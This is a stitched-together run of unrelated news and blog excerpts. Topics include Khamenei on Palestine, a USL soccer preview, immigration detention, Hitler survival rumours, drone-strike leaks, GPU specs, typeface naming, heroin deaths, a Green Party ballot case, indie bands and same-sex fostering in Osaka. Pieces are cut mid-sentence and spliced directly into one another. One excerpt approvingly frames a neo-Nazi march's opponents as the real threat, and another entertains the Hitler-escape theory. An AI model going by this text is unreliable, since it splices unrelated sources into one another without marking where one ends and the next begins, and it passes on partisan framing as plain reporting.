No other people has ever suffered as much as the Palestinians, he said. “An intelligent quest in history shows that no people in any era of history have ever been subject to such pain, suffering and cruelty. … It has never been witnessed that a real entity is ignored and that a fake entity takes its place.”
No people in any era of history have ever been subject to such cruelty. #Together4Palestine pic.twitter.com/70EUMGn5IS — Khamenei.ir (@khamenei_ir) February 21, 2017
The “Zionist regime” was created to harm the stability and progress of the Middle East by imposing a long-term conflict, Khamenei posited. These same forces are now responsible for the “seditions that exist in the present time as well,” he said.
Hinting at the clandestine yet solid cooperation between Israel and some Sunni Arab states, the Iranian leader called on all Islamic and Arab countries to support the Palestinian cause. “Supporting the resistance is the responsibility of all of us,” he said.
The Muslim world and the rest of the international community have different viewpoints but should rally around the liberation of Palestine, Khamenei said.
“With the emergence of signs of the collapse in the Zionist regime and the weakness that has dominated its main allies — in particular the United States of America — it is witnessed that the global environment is gradually moving towars confronting the hostile, |
become league champions. Billy even scored the deciding goal in the 2-1 victory over the Fort Lauderdale Strikers.
After the Scorpions folded, Forbes played nearly every match for league newcomers Rayo OKC, scoring three times. Rayo OKC closed up shop as well, and Forbes chose to head back to his old stomping grounds in Texas.
He signed with SAFC in January. Forbes currently leads San Antonio in goals with six, in assists with three, and has started all 11 of the club’s matches. His strong play earned him USL Player of the Month for both March and April. Billy’s play will help determine if SAFC has what it takes for a cup run.
US Open Cup
While SAFC struggled in league play last season, they advanced twice in Open Cup play before falling 4-0 to the Houston Dynamo. They’ll look to redeem themselves this year, but first they’ll have to take care of the Roughnecks. The two USL clubs have only met in preseason this year, a feisty, card filled, match that ended in a 1-1 draw.
Both clubs have improved since then, but San Antonio has been a cut above all lower league teams. Despite heading on the road, look for San Antonio to control this match.
Prediction:
San Antonio FC 2 – Tulsa Roughnecks 0
When: March 31, 2017. 8:00 pm EST
Where: Hurricane Soccer and Track Stadium. Tulsa, OK
Watch: USSoccer.comA recent article in the Guardian described an “off-the-books interrogation compound” where Chicago police secretly hold criminal suspects for questioning for hours on end, beyond the reach of lawyers, family members, and basic constitutional protections.
“I had been looking for him for six to eight hours, and every [police official] I talked to said they had never heard of him,” one Chicago attorney says of a client, who, like other detainees at the nondescript warehouse on the city’s west side, was kept out of official booking databases.
People are rightly shocked to learn that police in the US have allegedly been “disappearing” criminal suspects and subjecting them to ill-treatment. But it bears pointing out that in the parallel legal universe that is the U.S. immigration system, hundreds of thousands of people are routinely held in detention facilities under similar circumstances — for days, weeks, even months at a time — while they await court hearings or deportation for civil immigration violations.
Family members and lawyers of immigrant detainees often have a tough time finding them. Immigration and Customs Enforcement (ICE), which has custody over immigrants caught in the interior of the US, often doesn’t enter names into its online detainee locator system until at least 72 hours after they have been taken into custody, and sometimes longer. And that’s assuming ICE spells their names correctly in its database,which is not always the case. US Customs and Border Protection (CBP), which has authority over immigrants caught within 100 miles of US borders, doesn’t provide a locator service at all for the individuals detained in at least 130 small substations dotting the border.
During the 14 years I’ve been investigating rights abuses in U.S. immigration detention for Human Rights Watch, I’ve often heard about the problems relatives and attorneys face in locating detainees. One lawyer told me, “I have taken calls from seriously hysterical family members — incredibly traumatized people — sobbing on the phone, crying out, ‘I don’t know where my son or husband is!’”
It can be equally challenging for immigration detainees to contact the outside world. Those in the southwest border region have told us that the ability to make a phone call from CBP detention is often up to the discretion of the Border Patrol officer in charge. Even for detainees who get permission, they need money to purchase a phone card, and calling is very expensive – as much as $13 for a single 15-minute call. For those without that kind of money, the only option is a collect call. But phone lines in detention centers, like many lines these days, are often set up to block collect calls, and until family members figure out they need to remove those blocks, hours and days can go by.
And the ability of family members to locate a loved one is not all that’s at stake. Often, the only chance immigrants have to defend against deportation is to have family members in close touch, helping from the outside to search for a lawyer and compile evidence needed for their cases.
Case in Point An examination of a single case that sheds light on the criminal justice system
Basic rights taken for granted in the criminal justice system are withheld from immigration detainees — by law. Immigrants facing deportation have no legal right to a court-appointed attorney, and in fact some 83 percent go through the entire process without counsel. This can involve several hearings, sometimes over videoconference, with a government prosecutor arguing for deportation before a judge and no one but the immigrant disputing the government’s case. Nor is there any requirement that the arrest of an immigrant detainee be based on “probable cause,” as in the criminal context. Instead, the government asserts that it can detain immigrants while it investigates their legal status.
Even if a detainee is located, there’s always a risk that he or she will disappear again with little or no notice in the sprawling network of more than 200 immigration detention facilities nationwide. In two investigations, in 2009 and 2011, I detailed how ICE has built a detention system, relying on subcontracts with state jails and prisons, that functions by shuffling detainees among facilities. As a result, most detainees at some point during their detention will be transferred by government-contracted car, bus, or airplane from one detention center to another: 52 percent of detainees experienced at least one such transfer in 2009, in some cases from one side of the country to the other. Such long-distance transfers have dire consequences for immigrants’ rights to fair immigration proceedings, rendering attorney-client relationships unworkable and separating immigrants from the evidence they need to present in court, not to mention making family visits so costly that they rarely — if ever — occur.
It’s true that there have been some improvements in the past few years. In 2012, ICE announced new rules intended to reduce the number of detainee transfers. And, a recent Federal Communications Commission ruling set some rate caps on interstate calls from jails and prisons, including those where immigrants are often detained. Nevertheless, it is unclear how much the ICE reforms have actually reduced transfers, and phone calls within a state aren’t covered by the FCC’s ruling. Immigrants are still disappearing into immigration detention on a daily basis, remaining out of contact for periods of time that dwarf the six to 20 hours of secret detention the Chicago criminal suspects were subjected to.
The same day I read about the Chicago facility, I had been going through some mail, which included seven letters from detained immigrants. I wondered, “if I didn’t have these letters, if all I knew was that my immigrant relative went to work one morning and never came back, would I be able to find him?” I started typing the names on the envelopes into ICE’s detainee locator system. I found five. But two men from El Salvador had written letters from detention centers in California postmarked November 2014 and January 2015. When I entered their names into the system, both came up with “zero matching records.”
It’s possible that these immigrants were already deported. But ICE claims it keeps names in its system for 60 days past release or deportation. In any case, I knew that if one of them had been my son or my husband, I would have no way of finding him. Unless I had a different name or spelling for his name than what was on those envelopes, I would be at my wits’ end, wondering about his safety, if he was held nearby, moved somewhere far away, or already deported. I would be terrified.
Alison Parker is co-director of the U.S. program of Human Rights Watch.It wasn’t immediately clear what had happened on April 30, 1945. This much the world knew: Adolf Hitler was gone, one way or another.
The week after, TIME ran a list of his “many deaths,” the theories of his survival or defeat. Some said he had actually been killed the year before. Some said he was on his way to Japan. One captured Nazi actually got it right, telling the world that Hitler, along with his wife, had committed suicide.
At the time, the lack of a body made many on the Allied side of WWII very suspicious about the reports of suicide. Also, reports of Nazi submarines making their way to Argentina caused even more stories to unravel. Truth is, a ton of weird stuff happened at the end of WWII, especially revolving around the fall of the Nazi party and the death of Adolph Hitler.
Some wonder, did this dictator fake his own death and escape to somewhere to live out the rest of his life in hiding?Drone strikes conducted by the United States during a 5-month-long campaign in Afghanistan caused the deaths of unintended targets nearly nine out of ten times, leaked intelligence documents suggest.
The apparent 10 percent success rate with regards to a specific span in America’s drone war is among the most damning revelations to surface so far as the result of a series of articles published by The Intercept on Thursday this week which rely on classified and confidential intelligence documents supplied by an unknown source.
“These docs illustrate what a video game, drained of all humanity, these drone assassinations have become,” founding editor Glenn Greenwald tweeted on Thursday.
Edward Snowden, the former National Security Agency contractor now in exile, has previously supplied journalists at the online news site with top-secret documents detailing the intelligence community’s eavesdropping efforts — the likes of which has sparked international debates concerning privacy and civil liberties implications, among other factor, as well as calls for legislative reform in the U.S. and abroad.
But the latest trove of documents — previously unpublished reports concerning suspected terrorists, signals intelligence gathering and, ultimately, the launching of often lethal drone strikes — are the apparent offerings of a new source likely to soon be scorned by the U.S. government as well.
“This outrageous explosion of watchlisting — of monitoring people and racking and stacking them on lists, assigning them numbers, assigning them ‘baseball cards,’ assigning them death sentences without notice, on a worldwide battlefield - it was, from the very first instance, wrong,” the unnamed source told The Intercept.
Ryan Devereaux, a journalist with the website, reported that “During one five-month period of the operation, according to the documents, nearly 90 percent of the people killed in airstrikes were not the intended targets.” Nevertheless, the U.S. government considers many of these casualties to be enemy combatants, according to the the source, despite the strikes more often than not ending in the deaths of women, children and other civilians who become collateral damage of targeted attacks and are subsequently written off as adversaries killed during war, regardless of status.
“In Yemen and Somalia, where the U.S. has far more limited intelligence capabilities to confirm the people killed are the intended targets, the equivalent ratios may well be much worse,” Mr. Devereaux wrote.
Hina Shamsi, director of the ACLU National Security Project, condemned the revelations: “The Obama administration’s lethal program desperately needs transparency and accountability because it is undermining the right to life and national security.”
“These eye-opening disclosures make a mockery of U.S. government claims that its lethal force operations are based on reliable intelligence and limited to lawful targets. In fact, the government often claims successes that are really tragic losses,” Ms. Shamsi added.
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As we all know by now, last week Nvidia decided to take the opportunity at GDC to unveil the existence of its newest super-powered card, the Titan X.
Called “the most advanced GPU the world has ever seen” by the company’s CEO, Jen-Hsun Huang, at the tail-end of Epic’s Unreal Engine panel, the company was unwilling to share anything beyond a sneak peak at what we can expect. He said that the X would run on a stunning 8 billion transistors with 12GB of available onboard RAM, and left it at that.
Now, the enthusiast website Videocardz.com claims to have grabbed the leaked specs, and says the Titan X will come stacked with 3,072 CUDA cores clocked at 1,002MHz. (the boost potential is still unknown), 12GB of GDDR5 VRAM clocked at 1,750MHz, and a 384-bit memory bus resulting in 336GB/s of bandwidth. Interestingly, it does not appear to be a multi-GPU card, so it’s a successor to the old Titan rather than the dual-chip Titan Z.
These specs would put it somewhere in between the capabilities of the Titan Black series and the Titan Z, which we got the chance to review last month while taking Northwest Falcon’s mini-tower Tiki Z for a test drive.
Videcardz.com has a long history of knowing what’s going to be in these cards before anyone else, and here’s to hoping they’re right about the Titan X. To make details of the leak even sweeter the site didn’t just publish the specs, but also the pricing.
The author of the revealing article says we should be ready to shell out just shy of a grand ($999). That’s a lot of money, but it’s in line with previous single-chip Titan video cards.This is a refreshingly realistic appraisal — especially coming from Sweden — of who the agents of violence are in political demonstrations.
Many thanks to Tania Groth for the translation from Fria Tider:
Police Chief: It is the extreme left that poses a problem
The Nordic resistance movement, NMR, will not be the major problem when the national socialist organization demonstrates in Göteborg on 30 September. “On the contrary, it will be left-wing extremists who will start riots,” says Erik Nord’s Senior Officer to Radio Sweden.
The Nordic resistance movement, NMR, has applied for a demonstration near the Bokmässan (The Book Fair) in Gothenburg this autumn. According to GP, it is estimated that there will be approximately 1,000 participants.
The police previously announced that there is no legal basis for denying the organization of demonstration a permit.
This is now confirmed by Erik Nord, Chief of Police for greater Gothenburg.
It would have been possible (to deny a permit) if the purpose of the demonstration was to create disorder.
But, according to Nord, it is not the national socialist organization that will be the big problem, but their left-wing opponents.
“My general picture is that it is not this demonstration that will pose the greatest danger to order and security. We will certainly get riot-like situations around the demonstration. But these will first and foremost be instigated by the so-called counter-demonstrators. Then it’s our job to keep them apart to make sure that both gatherings can take place,” says Erik Nord to Kulturnytt.
It is precisely this the police in Charlottesville were alleged not to have done, and so did not protect the permitted demonstration and separate the different groups. Instead it allowed the left-wing extremists to attack the nationalist demonstration.
Erik Nord also points out that the lack of police resources is not reason enough to say no to demonstrations, and that the viewpoints in Sweden are designed in a way so that everyone can express their views.
It was Erik Nord who recently said he wants to revoke passports and citizenships for Islamic terrorists.Work at the restoration laboratory for organic artefacts at the Grand Egyptian Museum (GEM) at the Giza Plateau is in full swing to prepare all the objects that would be put on display at the museum soft opening in 2018 for the show.
The GEM restorers are currently working on two very distinguished organic artefacts: a papyrus of the Late Period queen Hent Taw Set Hathor and king Tutankhamun’s hunt arrows collection, GEM officials say.
Hussein Kamal, head of the technical affairs at the GEM restoration centre, told Ahram Online that the papyrus includes seven parts of hieroglyphic written in black and red ink. But, regretfully, Kamal revealed, that the papyrus is in a bad shape.
Previous inadequate restoration work, Kamal explains, is to blame for the deterioration in the condition of the papyrus; this was compounded by wear-and-tear resulting from repeated movement between various museums.
The papyrus was originally located in the Boulaq museum, then transferred to the Egyptian Museum in Tahrir before finally reaching the GEM.
Kamal added that restorers have used a state-of –the-art techniques to conserve the papyrus: supporting it on a specific Japanese paper called Chio, which acts as a very good holder of the papyrus instead of the old fashion method which used glass planks.
“This is not the only papyrus in restoration; 60 per cent of the lab collection includes papyri written in coloured inks and belonging to different ages,” kamal said.
These papyri would be documented and registered before restoration in order to determine areas that require sensitive handling and the best restoration techniques to be used.
The hunting arrows, which belonged to the boy-king Tutankhamun, are a unique object because it is the only complete arrows collection ever found from the ancient Egyptian era.
The collection includes different styles of arrows' heads, which are made of glass, wood, ivory and bronze.
Kamal explains that the arrows collection was restored for the first time upon its discovery in 1922. Today's efforts are the second such attempt.
The artefacts have been cleaned, the Paraffin wax used in the first restoration attempt was removed in order to allow for the use of organic materials to rehabilitate the items.
Kamal estimates that restoration works on these two collections could last until the end of March.
Short link:The White House announced Monday that the US administration has rejected President Shimon Peres' request to grant convicted spy Jonathan Pollard clemency.
"Our position has not changed in this case," National Security Council Spokesperson Tommy Vietor said.
Related stories:
The Obama Administration "has no intention to release Pollard," he added.
Earlier, Peres sent a personal letter to US President Barack Obama in which he asked him to pardon the convicted spy on humanitarian grounds.
The Justice for Jonathan Pollard association claims that US President Barack Obama did not refuse Peres' request and that no official response has been received as of yet, contrary to the statement by the National Security Council.
The association said that the statement reflects the administration's current position but does not reflect the president's response to Peres' bid. The group stressed that the president is the only person who can give a pardon
Pollard is serving a life sentence in a North Carolina penitentiary. The 57-year-old's health has been deteriorating over the past few years and he took another turn for the worst on Friday, when he was rushed to a civilian hospital. He currently remains in serious, yet stable condition.
In the letter, Peres thanked Obama for his loyalty to the Jewish State, but noted that Israel is very concerned about Pollard's waning health.
News of Pollard's hospitalization renewed calls within the Israeli government to push Washington for his release.
Prime Minister Benjamin Netanyahu, chief rabbis Yona Metzger and Shlomo Amar as well as Shas' spiritual leader Rabbi Ovadia Yosef, all joined in the call urging the US to pardon the ailing spy.
Still, prior to sending Obama the letter Peres noted that while he would do everything in his power to help, "There are other American considerations that I am not familiar with."
The idea of Pollard's release is not without support in the US.
Other than the various groups campaigning for his release, former top officials in the US administration agree that given the fact that Pollard has already served 27 years in prison, Washington should not automatically negate the possibility of a pardon.
Among those who voice their support for Pollard's release are former secretaries of state Henry Kissinger and George Shultz and CIA director James Woolsey.
AP and AFP contributed to this report
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A curved screen QWERTY slider by BlackBerry that runs Android, are we getting this right? We double checked and the Priv is just as exciting as it is unique. Honestly, it is one of those things many may've fantasized about but nobody actually believed would happen. It's also probably the last chance for BlackBerry to try and turn things around.
The BlackBerry Priv is a risky and costly venture - acknowledging the irony of saying that about a device, which is both superbly equipped and tightly secured.
Hopefully, for BlackBerry's sake, the Priv will meet the expectations it set for itself and go down as a visionary, not an anomaly. Before we start exploring it though, we simply feel compelled to stop and let its marvelous ambivalence sink in.
The Priv looks strikingly like a highly customized car. It is almost as if BlackBerry walked into the dealership and ticked every possible box, even some that are barely compatible, and then went on to request a completely different engine. And if that wasn't enough, BlackBerry then took it upon itself to fit its own security protocols so that the level of communication privacy matches its own high standards.
Key features
5.4" 1440 x 2560 pixels AMOLED (540 ppi) capacitive, curved edge touchscreen
Slider form factor, complete with a hardware 4-row BlackBerry keyboard
Qualcomm MSM8992 Snapdragon 808 chipset - Dual-core 1.8 GHz Cortex-A57 & quad-core 1.44 GHz Cortex-A53, Adreno 418 GPU; 3GB of RAM;
18MP 4896 x 3672 pixels phase detection autofocus camera with OIS, dual-tone LED flash, Schneider-Kreuznach optics, 2160p video recording.
2MP front-facing camera, 720p video recording, selfie panorama mode
Android OS v5.1.1 Lollipop with a custom BlackBerry launcher
32GB of built-in storage; dedicated microSD card slot
Cat. 9 LTE (up to 450Mbps); Wi-Fi a/b/g/n/ac; Wi-Fi Direct; Bluetooth 4.1; A2DP, EDR, LE; GPS/GLONASS/; NFC; microUSB port with USB On-The-Go; 4k @30 fps video out supported with standard SlimPort adaptor
Active noise cancellation with a dedicated mic
3,410 mAh sealed in battery with wireless charging and Qualcomm Quick Charge 2.0 support
Main disadvantages
Non-removable battery
No quick charger in the bundle
Wireless charging available only on the US model
Underwhelming front-facing camera
Quite a handful but for a better reason than most
On the outside, the Priv is extremely attractive and instantly credible. Hardly a surprise though - the premium BlackBerries have always had it.
Now, the entire concept of a BlackBerry/Android hybrid has some enormous potential but the very first of this breed is definitely not for everyone. There're many unknowns and there's the price tag to consider as well. To continue with the car analogy - the top specs, the level of security and the BlackBerry badge on the hood all add up to an eye-watering price tag of about 780 (perhaps a bit less in the US).
That's what Apple's charging on the iPhone 6s, which we don't say it's fair, but last time we checked BlackBerry and Cupertino weren't exactly neck to neck in the ratings.
There's nothing wrong with exclusivity and fewer devices can do better at that than the Priv, but we can understand every bit of skepticism as to how well this will work out in BlackBerry's current situation.
It's exactly the less-than-the-stellar state of affairs though that makes one appreciate BlackBerry's courage. Even more so for the attempt to maintain its high security standards on an open-source platform.
BlackBerry Priv official photos
Now, Android inside doesn't make the Priv a mainstream device. It will still end up in mostly executive hands, plus a small group of true BlackBerry fans. It's a matching name by the way - officially, Priv stands for both privilege and privacy. Now Privacy has always been BlackBerry's core business. Security is up to scratch, as usual, but will BlackBerry convince enough people that it's a privilege as well? Let's see.After Elon Musk announced plans to post a video of himself using a holographic computer interface inspired by the one Tony Stark uses in the film Iron Man, it looks like the Tesla CEO and inventor has delivered. In the video, which you can see after the jump, Musk shows a rocket part with hand gestures and then prints it using titanium.
The video shows Musk rotating a 3D object on screen using just one hand, zooming in and out and manipulating the view using a Leap Motion controller – a device that turns gestures into digital commands. He then demonstrates a cool-looking technological innovation featured in Iron Man that manipulates a freestanding glass projection using the Oculus Rift virtual reality headset. The demonstration ends with 3D printing the part with titanium.
Although the video doesn’t seem to show a new object being designed using the 3D hologram technology, it is exciting to see the sci-fi movie technology being brought to reality. It could be the beginning of a technological revolution that could make holograms an everyday experience.
Via HotHardwareAssendonica (about 22 point) and Tertia (about 16 point) by Bartholomeus Voskens. Hamburg, circa 1660. Courtesy of Tobias Frere-Jones
Over the past 25 years, Tobias Frere-Jones has created some of the world’s most widely used typefaces. He has taught at the Yale University School of Art since 1996, gives lectures around the world, and has work in the permanent collections of the Victoria and Albert Museum in London and the Museum of Modern Art in New York. Here at The Eye, Frere-Jones shares a post from his blog about the history of typography names.
Years ago, I asked one of my mentors what he thought was the hardest part of designing a typeface. I was expecting “the cap S” or “the italic lowercase” or something like that. But he answered without hesitation: the name. Finding the name is the hardest part.
Type has a long and rich history, not just in its shapes but also its organization and presentation. Scholars have discussed the marriage of roman and italic, originally independent forms. Others have charted the idea of “bold,” the shift of weight that is a signal all by itself. But the idea of a typeface name has received less attention.
Today, we expect a name to be a unique designation, independent of context, emphasizing personality rather than structure. It wasn’t always this way, so I went digging to find the beginning of this concept. As with most of type history, the answer is complicated.
For centuries, punchcutters would develop their styles within a narrow group of genres. There would be only one style of roman or italic, even if that style had been refined and focused over a span of years. The name only needed to pin down the remaining variable, the size (see above).
Less common genres would get a single broad term: Blackletter, Greek, Hebrew, Music, and so on. In this specimen printed by Dirck Voskens’ widow, Duyts (Deutsch) literally means German, and Textura or Blackletter by extension.
Augustyn (about 14 point) and Descendiaen (about 11 point) by Dirck Voskens. Amsterdam, circa 1695. Courtesy of Tobias Frere-Jones
If there were multiple versions of a roman or italic (or anything else), a number could differentiate them simply. Roman No. 2 would be distinct from Roman No. 1, but the genre would not be reinvented or major new ingredients introduced. There was no need for more detail; the customer just needed to know which one was a little heavier or lighter, wider or narrower, and so on. (Professor Indra Kupferschmid touches on this point in her post about type classification.)
Long Primer (about 10 point) Nos. 1 and 2 by William Caslon. London, 1734. Courtesy of Tobias Frere-Jones
In Giambattista Bodoni’s epic Manuale Tipografico of 1818, more than 100 romans and italics are shown with the name of a city as a kind of nickname, though the real name was still a size and a number. Trieste is really Ascendonica (22 point) No. 9, Palermo is Sopracanoncino (28 point) No. 3, and so on.
Trieste and Palermo by Giambattista Bodoni. Parma, 1818. Courtesy of Tobias Frere-Jones
Throughout the Industrial Revolution, a new market for advertising drove typefounders to expand their inventories. The established vocabulary soon proved inadequate—a predictable result, given novelty was such a conscious goal. Founders needed to coin new terms to signal the unique aspect of new designs. But customers would need to understand this new jargon, so it behooved the founders to establish and maintain some equivalence in new terms.
Some of these new genre names found longevity in a stable definition. Latin came to mean something with spiky triangular serifs. Italian or French became a kind of adverb, indicating an inverted distribution of weight. Some accords could never be reached, so Antique means “slab serif” in the United States or Britain but “sans serif” in France. In Germany, Antiqua would take on another meaning, of modern or old-style serif.
Conflicts aside, new terms like Egyptian, Grecian, Tuscan, Ionic, Latin, and Grotesque took root. Always striving for curiosity and surprise, founders broke out of genres as soon as they were established. Ever narrower terms appeared, with little endurance in the marketplace: Bretonnes, Athenian, Runic, Arabesque, etc. Some foundries had inventories too large for evocative names, particularly for their decorated designs. Where no modifier could be coined or accepted, founders simply assigned a number and called it done.
Ornamented Nos. 8–10 by Lawrence Johnson. Philadelphia, 1857. Courtesy of Tobias Frere-Jones
By the middle of the 19th century, names for the more common designs had settled into a reliable syntax of base words and modifiers, with numbers appended as necessary. The result often seemed more like an ingredient list than a recognizable name. Just as “scrambled eggs and bacon” isn’t really the name of a dish, but a tally of the items involved, Gothic Condensed No. 7 is a (hopefully unambiguous) report of attributes.
Gothic Condensed No. 7 by Conner’s Sons United States Type Foundry. New York, 1888. Courtesy of Tobias Frere-Jones
Lawrence Johnson’s 1857 specimen shows a decorated design under the name National. Being an adjective like all the other genre names, it’s not clear if this was meant as a unique name, or the start of yet another novelty genre.
National by Lawrence Johnson. Philadelphia, 1857. Courtesy of Tobias Frere-Jones
Wood’s Typographical Advertiser shows two designs under proper names with no connection to typography: Albert Edward and Lord Mayor. If Johnson’s National was not meant as a modern name, these would be more likely candidates.
Albert Edward by J. & R. Wood. London, 1862. Courtesy of Tobias Frere-Jones
Lord Mayor by J. & R. Wood. London, 1862. Courtesy of Tobias Frere-Jones
George Bruce’s 1869 specimen continues the trend, with Tendril and Victoria. The shift from adjectives to nouns seems to be an important moment: Adjectives suggest a larger group while a noun stands alone.
Tendril by Bruce’s New-York Type Foundry. New York, 1869. Courtesy of Tobias Frere-Jones
Victoria by Bruce’s New-York Type Foundry. New York, 1869. Courtesy of Tobias Frere-Jones
A concocted name, the next stage of evolution, appears in the same specimen with the design Graphotype.
Graphotype by Bruce’s New-York Type Foundry. New York, 1869. Courtesy of Tobias Frere-Jones
These new approaches became increasingly popular, and some foundries seemed to use them as a badge of modernity. Still, the old constructs like Ornamented No. 16, Antique Shaded, and Gothic Condensed No. 2 persisted well into the 20th century. In fact, a few old-school names survive to this day, like Linotype’s Old Style No. 7.
To return to our analogy on the diner menu, the Monte Cristo or the Reuben do not list any ingredients. Similarly, Cheltenham and Futura offer no preview of the design. The name is now part of the design itself, rather than a retrospective description, or a part number. The name precedes the typeface like a herald, rather than trailing behind like a stenographer. At its best, a typeface’s name is a one-word sales pitch.
So the modern typeface name—evocative and abstract—was not a breakthrough by one individual, but a project that took countless hands and more than 200 years to realize.
And I quickly came to agree: The name is the hardest part.GARLAND, Texas – Kim and Gilbert Freeman have a lifetime of memories frozen in time dotted across bookshelves and countertops throughout their home.
Married for 46 years, the couple first started going steady in the sixth grade. They would eventually go their separate ways before reconnecting after college.
Kim would become a dentist with her own practice, and Gilbert a golf pro at a local country club. Together they would have five children – three boys, and two girls, who would inherit their dad’s height and the mom’s red hair.
Life was good, until it wasn’t.
“We lost Hunt on Valentine’s Day,” Kim said matter-of-factly from the living room couch. “The last time I spoke to Jack was on Mother’s Day.”
Like all five of the Freeman kids, Hunt and Jack were born two years apart. The last of the Freeman’s brood, ages 27 and 29, they died within four months of each other.
“The first funeral we were so devastatingly sad, but we were all angry too,” Kim said, fighting back tears. “This time, we are so heartbroken, we had to speak.”
When the Freeman’s gathered for Jack’s funeral on May 22, they decided to do something different. Instead of hiding the family’s struggle, they shared it, first in his obituary and then at the service where they spoke about it as a family.
“Recognizing the incredible power of this drug, I think it’s beyond our comprehension,” Gilbert said. “I went for so long thinking I could sort of fix them.”
Hunt and Jack were heroin addicts, who both started using in high school. They both overdosed and died this year.
“(Jack) called us on Thursday nights. I just keep thinking that maybe the phone will ring,” said Lauren Sassenus, the Freeman’s middle child. “If anything, we can say can help the kid down the street not lose their little brother then. That’s all the good that can come of it.”
As the death toll from the heroin crisis continues to grow, families like the Freeman’s are increasingly going public by weaving warnings into the obituaries of loved ones about the horror of addiction.
“It seems very surreal. I feel disconnected most of the time. This can’t be the reality. This can’t be right,” said the Freeman’s eldest daughter, Ashley Washington. “There’s not enough acknowledgmentnt of how serious this epidemic really is.”
The Freeman’s want their loss to help other families going through the same thing. Their message is simple: talk to your children about drugs, no matter how old they are, ask questions and follow your intuition.
“Addicts are bigger liars than the greatest con man you’ve ever met,” said Gilbert. “I kept thinking I could fix them, and they would want to be like me. I just didn’t realize that that’s just not possible when they’re under the influence of that drug.”
Heroin use is now an epidemic in this country. And it crosses races, incomes, and backgrounds. As heroin use has increased, so has the death toll.
“A 30-year-old white male is the average heroin addict,” Ashley said. “That’s my brothers.”
According to the CDC, heroin overdose deaths have more than quadrupled since 2010. An uptick felt in North Texas which is why the surviving Freeman children urged their parents to speak out.
“Families shouldn’t have to keep going through this,” said big brother Ross, who is also a recovering addict. “It’s time for us just to wake up and start talking about the actual issue. Because this sucks. It’s hard to know that I’m never going to see them again.”
As long as the heroin epidemic continues to grow, the Freeman’s will continue to share their story, instilling hope and belief in those who need it most.
“Everybody has got this in their family, and people just don’t talk about it. They just sweep it under the rug because it’s too embarrassing,” Kim said. “Well, I’m not embarrassed. I loved both those boys, they were great people, they were just heroin addicts.”
Copyright 2016 WFAAThe 60th state Senate District will not be a two-candidate race for the first time in a number of election cycles, as had been expected.
Early last week a state Supreme Court judge ruled that James DePasquale, who had petitioned to become the Green Party candidate but had his ballots invalidated through an internal party process, will appear on the line Nov. 8.
In the ruling, Judge John Michalski said Charley Tarr, the Erie County Green Party chairman, and others seeking to invalidate DePasquale’s status as a member of the party, had failed to provide adequate evidence of their claims that DePasquale was a surrogate for Republican operatives looking to take over the party line.
“On the scant record of the Green Party’s September 1, 2016 subcommittee hearing, we find that the cancellation of Mr. DePasquale’s enrollment was unjust,” Michalski wrote.
The judge noted that the evidence collected during the hearing where DePasquale was determined to be unsympathetic to the principles of the party, which is grounds for denial of enrollment under the state law, was only a one-page summary decision and “utterly fails to recite any factual or evidentiary basis” to conclude that DePasquale was a GOP plant.
“Were witnesses called?” Michalski asked in the decision. “What, if any documentation was produced? Was the evidence merely anecdotal?”
Additionally, documents from the hearing filed as evidence by the Green Party members were not properly dated, raising statutory issues.
Meanwhile, De |
2009. “Matt can still not understand at all how any of us can stomach Phish but pretty much everyone else in the band grew up on their music.” Scott Devendorf embraced his Deadhead roots by wearing a bootleg t-shirt that meshes elements of the Grateful Dead’s logo with the New York Giants’ symbol onstage at Bonnaroo last year.
While The National’s trademark indie pop sound is a far car from Anastasio’s psychedelic jam-rock, they share some common roots that run from orchestral music to Pavement. One of The National’s earliest predecessor, Equinox—which featured the Dessners and Bryan Devendorf—covered The Allman Brothers and the Grateful Dead and has a sound that saxophonist Kevin Seal described as “Sorta jammy and the product of listening to a lot of Phish and classic rock radio.”
The Devendorf brothers are currently guest curating an indie-focused Grateful Dead tribute album for the Dessners. The members of the band have also joked about starting a Grateful Dead cover band with their friends in Grizzly Bear.
“I always wanted to be in a cool weirdo indie rock band, whereas Bryce came from a more classical background,” Berninger explained to Relix before the release of 2010’s High Violet. “But, we’ve kind of dropped the debates about our identity and all that baggage, and it’s actually made it much easier to mix high art with some grungy G-chords. I used to identify myself as being more of a ‘cool artsy kid’ than a jamband kid. But now we’re all in our mid-30s, and we’re starting to really pull from all the things we used to love and [trying] to find new sounds as well—so there could be some Grateful Dead moments on the next record.”
Anastasio’s next studio project will also feature members of his longtime solo band as well as other outside contributors. While Phish’s studio albums are traditionally centered around the band, Anastasio’s solo projects frequently feature guests from the jazz, world music, indie and classical universes. Anastasio and Katis also share a common bond through the Burlington, VT punk group The Pants who Katis produced in the ‘90s. Members of The Pants were also part of Anastasio’s short-lived project New York!, whose lone show introduced future Phish songs “Dirt” and “Saw It Again” (and perhaps signaled the band’s shift toward the more, ambient, indie-leaning songs which the guitarist wrote at the tail end of the ‘90s).
The National will return to the Beacon Saturday night. The performance will be webcast by Fuse.On April 6, 2017, the city of Osaka became the first municipality in Japan to recognize same-sex couples as foster parents. The change in policy came about when the city recognized two men, who wish to remain anonymous, as the foster parents of a teenage boy who had been in their care since February.
Until Osaka's decision in April, only married couples or individuals have been allowed to become foster parents in Japan, despite the fact that the country is in dire need of both foster and adoptive parents. As of March 2017, there were at least 46,000 children across Japan who were in the care of the state after either losing a parent or being removed from their homes because of abuse. The majority of these children live in institutions; just 10% are cared for by foster parents.
Following the landmark decision, the term #same-sex couple (#男性カップル, dansei kappuru, the term for a male same-sex couple) trended on Twitter. Naver Matome blogger “Grade Up” (グレードアップ) collected a number of these Twitter responses in a blog post. The majority of reactions to Osaka's decision about foster parenting seems to be positive:
Tweet: Two men (‘a male same-sex couple’) have been authorized by the city of Osaka as foster parents. If a couple wants foster a child who has been abused by their parents whether or not they are a same sex couple or members of the opposite sex it doesn't matter. Poster text: ‘If you love the children you raise above all else, be you same-sex parents or parents of the opposite sex, that's all that's important to being a parent.’
Same-sex marriage is not yet recognized in Japan. This is because Article 24 of Japan's Constitution includes the phrase, “Marriage shall be based only on the mutual consent of both sexes,” which, for the time being, is seen as an obstacle to same-sex marriage.
In Japan, municipalities play an important role in overseeing and administering family law, which includes marriage, domestic partnership, adoption and fostering. Some municipalities in Japan have passed local ordinances that recognize same-sex civil partnerships, which equate these relationships to marriage.
Osaka's decision has been accompanied by a common theme — while some people might disapprove with same-sex foster parenting, the most important thing is for children is to be loved:
男性カップルの話題で養子縁組と里親制度を取り違えてるツイートを見かけたけど、里親制度は18歳になるまで育ててもらうって制度なんよな。戸籍に入るわけではないんで。
18になるまで温かい家庭で幸せに過ごせるなら男性カップルでも女性カップルでも良いと思うよ。 — なおちご Naochigo 나오치고 (@hikariko1128) April 5, 2017
